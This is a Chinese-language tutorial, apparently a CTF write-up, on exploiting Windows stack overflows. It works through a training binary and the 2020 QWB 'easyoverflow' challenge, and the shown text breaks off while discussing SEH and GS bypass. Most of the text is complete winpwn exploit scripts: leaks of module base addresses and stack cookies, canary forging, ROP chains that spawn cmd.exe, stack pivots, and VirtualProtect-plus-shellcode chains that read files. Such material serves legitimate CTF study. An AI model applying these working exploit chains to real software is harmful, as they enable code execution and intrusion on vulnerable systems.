栈溢出 32 位栈溢出 附件下载链接
程序保护如下,没有开 GS 保护。 程序是一个简单的栈溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main_0 (int argc, const char **argv, const char **envp) { char v4; char v5; char DstBuf[260 ]; __CheckForDebuggerJustMyCode(&unk_41C003); sub_41132F(); printf ("Hello world, this is a buffer overflow training.\n" , v4); printf ("This is the stack address : %p\n" , (char )DstBuf); printf ("What is your name: " , v5); read(0 , DstBuf, 0x200 u); printf ("Hello, %s\n" , (char )DstBuf); getchar(); return 0 ; }
利用方法如下:
首先启动一次进程,通过填充字符泄露返回地址,进而泄露程序加载基址。
再次启动进程,写 rop 通过 printf
泄露导入表,进而泄露 ucrtbased.dll
的基址,之后返回到 main 函数进行下一次利用。
利用 ucrtbase.dll
中的 system
函数以及 cmd.exe
字符串构造 rop 实现 system("cmd.exe")
。
这里有几个易错点:
buf 填充 \xcc
,否则会被检测到栈溢出。
由于这个是调试版的程序,因此使用的是 ucrtbased.dll
而不是 ucrtbase.dll
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from winpwn import *context.arch = 'i386' pe = winfile("stackoverflow.exe" ) ucrtbased = winfile("ucrtbased.dll" ) start = lambda : process(pe.path) p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recv(8 ), 16 ) log.success("buf addr: " + hex (buf_addr)) p.sendafter("What is your name: " , "\xcc" * 0x108 ) p.recvuntil("\xcc" * 0x108 ) leak_pe_addr = u32(p.recv(3 ).ljust(4 , '\x00' )) log.success("leak code addr: " + hex (leak_pe_addr)) pe.address = leak_pe_addr - 0x12203 log.info("pe base: " + hex (pe.address)) p.close() p = start() printf_addr = pe.address + 0x11046 main_addr = pe.address + 0x112B7 payload = '' payload += '\xcc' * 0x108 payload += p32(printf_addr) payload += p32(main_addr) payload += p32(pe.imsyms['setvbuf' ]) p.sendafter("What is your name: " , payload) p.sendlineafter("Hello, " , "" ) p.recvline() setvbuf_addr = u32(p.recv(4 )) log.success("setvbuf addr: " + hex (setvbuf_addr)) ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf' ] log.info("ucrtbase base: " + hex (ucrtbased.address)) payload = '' payload += '\xcc' * 0x108 payload += p32(ucrtbased.symbols['system' ]) payload += p32(main_addr) payload += p32(ucrtbased.search("cmd.exe" ).next ()) p.sendafter("What is your name: " , payload) p.sendlineafter("Hello, " , "" ) p.recvline() p.interactive()
64 位栈溢出 附件下载链接 和 32 位的程序相似,不过这里溢出字节数较少,需要栈迁移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main_0 (int argc, const char **argv, const char **envp) { _DWORD *v3; __int64 i; char v6; char DstBuf[480 ]; v3 = &v6; for ( i = 0x82 i64; i; --i ) *v3++ = 0xCCCCCCCC ; j___CheckForDebuggerJustMyCode(&unk_140021003, argv, envp); sub_140011271(); printf ("Hello world, this is a buffer overflow training.\n" ); printf ("This is the stack address : %p\n" , DstBuf); printf ("What is your name: " ); read(0 , DstBuf, 0x200 u); printf ("Hello, %s\n" , DstBuf); getchar(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from winpwn import *context.arch = "amd64" context.log_level = "debug" pe = winfile("stackoverflow.exe" , rebase=True ) ucrtbased = winfile("ucrtbased.dll" ) start = lambda : process(pe.path) p = start() p.sendafter("What is your name:" , "\xcc" * 0x1f8 ) p.recvuntil("\xcc" * 0x1f8 ) leak_ucrtbased_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) log.success("leak ucrtbased addr: " + hex (leak_ucrtbased_addr)) ucrtbased.address = leak_ucrtbased_addr - 0xb1fb3 log.info("ucrtbased base: " + hex (ucrtbased.address)) p.close() p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recvline(drop=True ), 16 ) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ucrtbased.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(ucrtbased.search("cmd.exe" ).next ()) payload += p64(ucrtbased.symbols['system' ]) payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(buf_addr) log.info("payload len: " + hex (len (payload))) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) p.recvline() p.interactive()
例题:2020 强网杯 easyoverflow 附件下载链接 存在栈溢出并且有 3 次输入机会。并且开启 GS 保护。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl main (int argc, const char **argv, const char **envp) { FILE *v3; FILE *v4; FILE *v5; int v6; char DstBuf[256 ]; v3 = _acrt_iob_func(0 ); setbuf(v3, 0 i64); v4 = _acrt_iob_func(1u ); setbuf(v4, 0 i64); v5 = _acrt_iob_func(2u ); setbuf(v5, 0 i64); v6 = 3 ; do { --v6; memset (DstBuf, 0 , sizeof (DstBuf)); puts ("input:" ); read(0 , DstBuf, 0x400 u); puts ("buffer:" ); puts (DstBuf); } while ( v6 > 0 ); return 0 ; }
这道题的难点在于不重启程序的前提下完成利用。
首先我们可以通过越界读从栈上泄露 canary 和程序基址,然后通过返回值写 main
函数地址实现多次执行 main
。
然后第二次执行 main
时再次越界读从栈上泄露 canary 和 ntdll 基址。有了 ntdll 基址后我们也就有了大量可用的 gadget 。
由于 ucrtbase 的基址以及 __security_cookie
无法越界读从栈上泄露,我们考虑构造 rop 实现任意地址读。
观察发现 main
函数到中最后一个调用 puts
的地方到 main
函数返回可以作为一个 gadget 实现任意地址读,其中 rbx 设置为 1 这样会跳转至读入数据的部分通过栈溢出伪造 canary 以及写 rop 完成后续利用。
1 2 3 4 5 6 7 8 9 10 .text:00000000000010A6 call cs:puts .text:00000000000010AC test ebx, ebx .text:00000000000010AE jg short loc_1060 .text:00000000000010B0 xor eax, eax .text:00000000000010B2 mov rcx, [rsp+138h+var_18] .text:00000000000010BA xor rcx, rsp ; StackCookie .text:00000000000010BD call __security_check_cookie .text:00000000000010C2 add rsp, 130h .text:00000000000010C9 pop rbx .text:00000000000010CA retn
首先我们利用这个 gadget 读出 __security_cookie
这样可以根据之前的 canary 解密出栈地址,进而可以伪造 canary 。
之后再次利用这个 gadget 泄露 ucrtbase 的基址,并且在返回时写 rop 完成利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from winpwn import *context.arch = 'amd64' context.log_level = 'debug' pe = winfile("StackOverflow.exe" ) ntdll = winfile("ntdll.dll" ) ucrtbase = winfile("ucrtbase.dll" ) p = process(pe.path) p.sendafter("input:" , "\xcc" * 0x100 ) p.recvuntil("\xcc" * 0x100 ) canary = u64(p.recvline(drop=True )[:8 ].ljust(8 , '\x00' )) log.success("canary: " + hex (canary)) p.sendafter("input:" , "\xcc" * 0x118 ) p.recvuntil("\xcc" * 0x118 ) pe.address = u64(p.recvline(drop=True )[:8 ].ljust(8 , '\x00' )) - 0x12F4 log.success("pe base: " + hex (pe.address)) main_addr = pe.address + 0x1000 puts_gadget_addr = pe.address + 0x10a6 security_cookie_addr = pe.address + 0x3008 log.info("security_cookie addr: " + hex (security_cookie_addr)) payload = '' payload += '\xcc' * 0x100 payload += p64(canary) payload += '\xcc' * 0x10 payload += p64(main_addr) p.sendafter("input:" , payload) p.sendafter("input:" , "\xcc" * 0x100 ) p.recvuntil("\xcc" * 0x100 ) canary = u64(p.recvline(drop=True )[:8 ].ljust(8 , '\x00' )) p.sendafter("input:" , "\xcc" * 0x180 ) p.recvuntil("\xcc" * 0x180 ) ntdll.address = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0x06a271 log.success("ntdll base: " + hex (ntdll.address)) payload = '' payload += '\xcc' * 0x100 payload += p64(canary) payload += '\xcc' * 0x10 payload += p64(ntdll.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(security_cookie_addr) payload += p64(ntdll.search(asm('pop rbx;ret' ), executable=True ).next ()) payload += p64(1 ) payload += p64(puts_gadget_addr) p.sendafter("input:" , payload) p.recvuntil("buffer:\r\n" ) p.recvline() security_cookie = u64(p.recvline(drop=True )[:8 ].ljust(8 , '\x00' )) log.success("security_cookie: " + hex (security_cookie)) stack_addr = canary ^ security_cookie log.info("last stack addr: " + hex (stack_addr)) stack_addr += 0x160 log.info("stack addr: " + hex (stack_addr)) canary = stack_addr ^ security_cookie log.info("canary: " + hex (canary)) payload = '' payload += '\xcc' * 0x100 payload += p64(canary) payload += '\xcc' * 0x10 payload += p64(ntdll.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(pe.imsyms['puts' ]) payload += p64(ntdll.search(asm('pop rbx;ret' ), executable=True ).next ()) payload += p64(1 ) payload += p64(puts_gadget_addr) p.sendafter("input:" , payload) p.recvuntil("buffer:\r\n" ) p.recvline() ucrtbase.address = u64(p.recvline(drop=True )[:8 ].ljust(8 , '\x00' )) - ucrtbase.symbols['puts' ] log.success("ucrtbase base: " + hex (ucrtbase.address)) stack_addr += 0x160 log.info("stack addr: " + hex (stack_addr)) canary = stack_addr ^ security_cookie log.info("canary: " + hex (canary)) payload = '' payload += '\xcc' * 0x100 payload += p64(canary) payload += '\xcc' * 0x10 payload += p64(ntdll.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(ucrtbase.search("cmd.exe" ).next ()) payload += p64(ucrtbase.symbols['system' ]) p.sendafter("input:" , payload) p.interactive()
ORW 如果题目开启了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY
保护禁用了 system("cmd.exe")
,那么我们就需要采用 ORW 的方式获取 flag 。
Windows 中的 ORW 示例代码如下,其中 CreateFileA
和 ReadFile
位于 kernel32.dll
,puts
位于 ucrtbase.dll
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <Windows.h> #include <stdio.h> int main () { HANDLE hFile = CreateFileA( "flag.txt" , GENERIC_READ, FILE_SHARE_READ, NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { printf ("Failed to open file\n" ); return 1 ; } char buffer[0x3000 ]; DWORD dwBytesRead = 0 ; if (!ReadFile(hFile, buffer, sizeof (buffer), &dwBytesRead, NULL )) { printf ("Failed to read file\n" ); CloseHandle(hFile); return 1 ; } puts (buffer); return 0 ; }
由于传递的参数过多 gadget 不好找并且会导致 ROP 过长,因此采取 VirtualProtect
修改内存属性写 shellcode 的方式进行 ORW 。
VirtualProtect
位于 kernel32.dll
,定义如下:
1 2 3 4 5 6 BOOL VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) ;
其中 lpAddress
关于 0x1000 对齐,flNewProtect
设置为 PAGE_EXECUTE_READWRIT (0x40)
。
32 位 ORW 前面 32 位的栈溢出题目可以采用如下 exp 实现 ORW。这里有几个需要注意的地方:
shellcode 前面 sub esp,0x1000
是为了将栈迁移到远离 shellcode 的位置,防止调用函数时覆写到 shellcode 。
ReadFile
函数传入的长度参数不能过大,因为 ReadFile
会对 buf 地址范围进行检查,如果 buf + len
位于 无效地址不会向 buf
读入数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from winpwn import *context.arch = 'i386' context.log_level = "debug" pe = winfile("stackoverflow.exe" ) ucrtbased = winfile("ucrtbased.dll" ) kernel32 = winfile("kernel32.dll" ) start = lambda : process(pe.path) p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recv(8 ), 16 ) log.success("buf addr: " + hex (buf_addr)) p.sendafter("What is your name: " , "\xcc" * 0x108 ) p.recvuntil("\xcc" * 0x108 ) leak_pe_addr = u32(p.recv(3 ).ljust(4 , '\x00' )) log.success("leak code addr: " + hex (leak_pe_addr)) pe.address = leak_pe_addr - 0x12203 log.info("pe base: " + hex (pe.address)) p.close() p = start() printf_addr = pe.address + 0x11046 main_addr = pe.address + 0x112B7 payload = '' payload += '\xcc' * 0x108 payload += p32(printf_addr) payload += p32(main_addr) payload += p32(pe.imsyms['setvbuf' ]) p.sendafter("What is your name: " , payload) p.sendlineafter("Hello, " , "" ) p.recvline() setvbuf_addr = u32(p.recv(4 )) log.success("setvbuf addr: " + hex (setvbuf_addr)) ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf' ] log.info("ucrtbase base: " + hex (ucrtbased.address)) payload = '' payload += '\xcc' * 0x108 payload += p32(ucrtbased.symbols['puts' ]) payload += p32(main_addr) payload += p32(pe.imsyms['GetCurrentThreadId' ]) p.sendafter("What is your name: " , payload) p.sendlineafter("Hello, " , "" ) p.recvline() kernel32.address = u32(p.recv(4 )) - kernel32.symbols['GetCurrentThreadId' ] log.info("kernel32 base: " + hex (kernel32.address)) p.recvuntil("This is the stack address : " ) buf_addr = int (p.recvline(drop=True ), 16 ) log.info("buf addr: " + hex (buf_addr)) log.info("CreateFileA: " + hex (kernel32.symbols["CreateFileA" ])) shellcode = asm( """ sub esp,0x1000 push 0 push 0x80 push 3 push 0 push 1 push 0x80000000 push {0} // FileName mov ebx,{1} call ebx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0) push 0 lea ecx, [esp+0x500] push ecx push 0x100 push {0} // FileBuffer push eax mov ebx,{2} call ebx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0); push {0} mov ebx,{3} call ebx // puts(Buffer); """ .format ( hex (buf_addr + 0x50 ), hex (kernel32.symbols['CreateFileA' ]), hex (kernel32.symbols['ReadFile' ]), hex (ucrtbased.symbols['puts' ]) ) ) payload = "" payload += shellcode assert len (shellcode) <= 0x50 payload = payload.ljust(0x50 , '\xcc' ) payload += "flag.txt\x00" payload = payload.ljust(0x108 , '\xcc' ) payload += p32(kernel32.symbols['VirtualProtect' ]) payload += p32(buf_addr) payload += p32(buf_addr & ~0xFFF ) payload += p32(0x1000 ) payload += p32(0x40 ) payload += p32(buf_addr + 0x300 ) p.sendafter("What is your name: " , payload) p.sendlineafter("Hello, " , "" ) p.interactive()
64 位 ORW 64 位栈溢出的 ORW 做法如下,不过由于 payload 构造过长导致触发异常,可以考虑将 shellcode 读到另一块内存中从而减小 payload 的长度 。
这里我们读入 shellcode 使用的 API 为 ReadFile
,需要结合 GetStdHandle
获取标准输入句柄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <windows.h> #include <stdio.h> int main () { HANDLE hStdin; DWORD dwBytesRead; char buffer[1024 ]; hStdin = GetStdHandle(STD_INPUT_HANDLE); if (hStdin == INVALID_HANDLE_VALUE) { printf ("Failed to get standard input handle.\n" ); return 1 ; } if (ReadFile(hStdin, buffer, sizeof (buffer), &dwBytesRead, NULL )) { printf ("Read %d bytes from standard input.\n" , dwBytesRead); printf ("Input content:\n%s" , buffer); } else { printf ("Failed to read standard input.\n" ); } return 0 ; }
需要注意的是 DstBuf[480]
的实际长度是 0x100 ,需要考虑绕过 CheckStackValue 保护。
另外如何查找从将 rax 寄存器的值赋值给 rcx 的 gadget 也是一个难点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 from winpwn import *context.arch = "amd64" context.log_level = "debug" pe = winfile("stackoverflow.exe" , rebase=True ) ucrtbased = winfile("ucrtbased.dll" ) kernel32 = winfile("kernel32.dll" ) ntdll = winfile("ntdll.dll" ) start = lambda : process(pe.path) p = start() p.sendafter("What is your name:" , "\xcc" * 0x1f8 ) p.recvuntil("\xcc" * 0x1f8 ) ucrtbased.address = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0xb1fb3 log.info("ucrtbased base: " + hex (ucrtbased.address)) p.close() p = start() p.sendafter("What is your name:" , "\xcc" * 0x1e8 ) p.recvuntil("\xcc" * 0x1e8 ) pe.address = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0x121a9 log.info("pe base: " + hex (pe.address)) main_addr = pe.address + 0x11900 p.close() p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recvline(drop=True ), 16 ) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ucrtbased.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(pe.imsyms['GetCurrentThreadId' ]) payload += p64(ucrtbased.symbols['puts' ]) payload += p64(main_addr) payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(buf_addr) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) p.recvline() kernel32.address = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - kernel32.symbols['GetCurrentThreadId' ] log.success("kernel32 base: " + hex (kernel32.address)) p.recvuntil("This is the stack address : " ) buf_addr = int (p.recvline(drop=True ), 16 ) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ucrtbased.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(kernel32.imsyms['memcpy' ]) payload += p64(ucrtbased.symbols['puts' ]) payload += p64(main_addr) payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(buf_addr) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) p.recvline() ntdll.address = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - ntdll.symbols['memcpy' ] log.success("ntdll base: " + hex (ntdll.address)) p.recvuntil("This is the stack address : " ) rop_addr = int (p.recvline(drop=True ), 16 ) log.info("rop addr: " + hex (rop_addr)) shellcode_addr = pe.address + 0x1D000 buf_addr = rop_addr + 0x104 log.info("shellcode addr: " + hex (shellcode_addr)) log.info("buf addr: " + hex (buf_addr)) sleep(1 ) payload = '' payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(shellcode_addr) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(0x1000 ) payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret' ), executable=True ).next ()) payload += p64(0x40 ) payload += p64(shellcode_addr - 0x300 ) payload += p64(0 ) payload += p64(0 ) payload += p64(kernel32.symbols['VirtualProtect' ]) payload += p64(ntdll.search(asm("add rsp, 0x18; ret" ), executable=True ).next ()) payload += '\x00' * 0x18 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(0xFFFFFFF6 ) payload += p64(kernel32.symbols['GetStdHandle' ]) payload += p64(kernel32.address + 0x761b2 ) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(shellcode_addr) payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret' ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(shellcode_addr - 0x300 ) payload += p64(0 ) payload += p64(0 ) payload += p64(kernel32.symbols['ReadFile' ]) payload += p64(shellcode_addr) payload += '\x00' * 0x20 payload += p64(0 ) payload = payload.ljust(buf_addr - rop_addr, '\xcc' ) payload += 'flag.txt\x00' log.info("rop len: " + hex (len (payload))) payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(rop_addr) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) shellcode = asm( """ sub rsp, 0x1000 mov rcx, {0} mov edx, 0x80000000 xor r9d, r9d lea r8d, [r9+1] mov qword ptr [rsp + 0x30], 0 mov qword ptr [rsp + 0x28], 0x80 mov qword ptr [rsp + 0x20], 3 mov rbx, {1} call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0) xchg rcx,rax mov rdx, {0} mov r8d, 0x500 lea r9,[rsp + 0x200] mov qword ptr [rsp + 0x20], 0 mov rbx, {2} call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0); mov rcx, {0} mov rbx,{3} call rbx // puts(Buffer); """ .format ( hex (buf_addr), hex (kernel32.symbols['CreateFileA' ]), hex (kernel32.symbols['ReadFile' ]), hex (ucrtbased.symbols['puts' ]) ) ) sleep(1 ) p.sendline(shellcode) p.interactive()
由于 Windows API 的传参过于丧心病狂,因此上面的 rop 构造的十分麻烦。不过幸运的是在 ucrtbased.dll (ucrtbase.dll)
中封装了一些 POSIX
类型的接口,这些接口的使用方法和 linux 相同。因此如果题目提供了 ucrtbased.dll (ucrtbase.dll)
(如果有任意地址读我们也可以将远程的 ucrtbased.dll (ucrtbase.dll)
dump 下来 )那么我们可以像 linux 一样构造 orw 。不过这些函数开头会将参数写入 [rsp + 8]
到 [rsp + 0x20]
范围的内存中,因此在调用完一个函数时需要一个 gadget 将被覆盖的内存平衡掉。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from winpwn import *context.arch = "amd64" context.log_level = "debug" pe = winfile("stackoverflow.exe" , rebase=True ) ucrtbased = winfile("ucrtbased.dll" ) kernel32 = winfile("kernel32.dll" ) ntdll = winfile("ntdll.dll" ) start = lambda : process(pe.path) p = start() p.sendafter("What is your name:" , "\xcc" * 0x1f8 ) p.recvuntil("\xcc" * 0x1f8 ) ucrtbased.address = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0xb1fb3 log.info("ucrtbased base: " + hex (ucrtbased.address)) p.close() p = start() p.sendafter("What is your name:" , "\xcc" * 0x1e8 ) p.recvuntil("\xcc" * 0x1e8 ) pe.address = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0x121a9 log.info("pe base: " + hex (pe.address)) main_addr = pe.address + 0x11900 p.close() p = start() p.recvuntil("This is the stack address : " ) buf_addr = int (p.recvline(drop=True ), 16 ) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ucrtbased.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(pe.imsyms['GetCurrentThreadId' ]) payload += p64(ucrtbased.symbols['puts' ]) payload += p64(main_addr) payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(buf_addr) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) p.recvline() kernel32.address = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - kernel32.symbols['GetCurrentThreadId' ] log.success("kernel32 base: " + hex (kernel32.address)) p.recvuntil("This is the stack address : " ) buf_addr = int (p.recvline(drop=True ), 16 ) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ucrtbased.search(asm('pop rcx;ret' ), executable=True ).next ()) payload += p64(kernel32.imsyms['memcpy' ]) payload += p64(ucrtbased.symbols['puts' ]) payload += p64(main_addr) payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(buf_addr) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) p.recvline() ntdll.address = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - ntdll.symbols['memcpy' ] log.success("ntdll base: " + hex (ntdll.address)) p.recvuntil("This is the stack address : " ) rop_addr = int (p.recvline(drop=True ), 16 ) log.info("rop addr: " + hex (rop_addr)) shellcode_addr = pe.address + 0x1D000 buf_addr = rop_addr + 0xe8 + 0x28 log.info("shellcode addr: " + hex (shellcode_addr)) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ntdll.search(asm("pop rcx; ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop rdx; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(ucrtbased.symbols['_open' ]) payload += p64(ntdll.search(asm("add rsp, 0x28; ret" ), executable=True ).next ()) payload += '\x00' * 0x28 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(3 ) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbased.symbols['_read' ]) payload += p64(ntdll.search(asm("add rsp, 0x18; ret" ), executable=True ).next ()) payload += '\x00' * 0x18 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(1 ) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbased.symbols['_write' ]) payload = payload.ljust(buf_addr - rop_addr, '\xcc' ) payload += 'flag.txt\x00' payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbased.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(rop_addr) p.sendafter("What is your name:" , payload) p.sendlineafter("Hello, " , "" ) p.interactive()
SEHOP 附件下载链接 程序未开启 SafeSEH 。分析程序发现开启了 GS 保护。 程序代码如下,存在栈溢出以及一个 4 字节的任意地址写,分析汇编可知任意地址写存在 SEH 异常处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main_0 (int argc, const char **argv, const char **envp) { _DWORD *shot; char DstBuf[260 ]; CPPEH_RECORD ms_exc; __CheckForDebuggerJustMyCode(&unk_41C00F); sub_41133E(); printf ("Hello world, this is a buffer overflow training.\n" ); printf ("This is the stack address : %p\n" , DstBuf); printf ("What is your name: " ); read(0 , DstBuf, 0x200 u); printf ("Hello, %s\n" , DstBuf); ms_exc.registration.TryLevel = 0 ; printf ("Give me one shot: " ); scanf ("%ld" , &shot); *shot = 0xDEADBEEF ; ms_exc.registration.TryLevel = -2 ; getchar(); return 0 ; }
栈结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -0000012C shot dd ? ; offset -00000128 db ? ; undefined -00000127 db ? ; undefined -00000126 db ? ; undefined -00000125 db ? ; undefined -00000124 db ? ; undefined -00000123 db ? ; undefined -00000122 db ? ; undefined -00000121 db ? ; undefined -00000120 DstBuf db 260 dup(?) -0000001C canary dd ? -00000018 ms_exc CPPEH_RECORD ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 argc dd ? +0000000C argv dd ? ; offset +00000010 envp dd ? ; offset +00000014 +00000014 ; end of stack variables
调试得到 DstBuf
之后的数据如下,可以泄露程序以及 ucrtbased.dll
的基址和栈地址(不过栈地址程序已经给出了)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0:000> !telescope 0x010FFB5C+0x104 Populating the VA space with modules.. Populating the VA space with TEBs & thread stacks.. Populating the VA space with the PEB.. 0x010ffc60|+0x0000: 0xbc1f64db (Unknown) 0x010ffc64|+0x0004: 0x010ffa7c (Stack) -> 0xbc1f64db (Unknown) 0x010ffc68|+0x0008: 0x79cafbd2 (ucrtbased.dll (.text)) -> xchg esi,dword ptr [eax] ; mov eax,esi ; pop esi 0x010ffc6c|+0x000c: 0x010ffce8 (Stack) -> 0x010ffd60 (Stack) -> 0x010ffd78 (Stack) -> 0xffffffff (Unknown) 0x010ffc70|+0x0010: 0x00542120 (SEH.exe (.text)) -> push ebp ; mov ebp,esp ; mov eax,dword ptr [ebp+8] 0x010ffc74|+0x0014: 0xbd4417df (Unknown) 0x010ffc78|+0x0018: 0xfffffffe (Unknown) 0x010ffc7c|+0x001c: 0x010ffc9c (Stack) -> 0x010ffcf8 (Stack) -> 0x010ffd00 (Stack) -> 0x010ffd08 (Stack) -> 0x010ffd18 (Stack) -> 0x010ffd70 (Stack) -> 0x010ffd80 (Stack) -> 0x00000000 (Unknown) 0x010ffc80|+0x0020: 0x005425a3 (SEH.exe (.text)) -> add esp,0Ch ; mov esp,ebp ; pop ebp 0x010ffc84|+0x0024: 0x00000001 (Unknown) @$telescope(0x010FFB5C+0x104)
GS 保护使用的 ___security_cookie
在每次程序启动都会有变化,因此我们需要考虑如何使程序多次返回 main 函数。
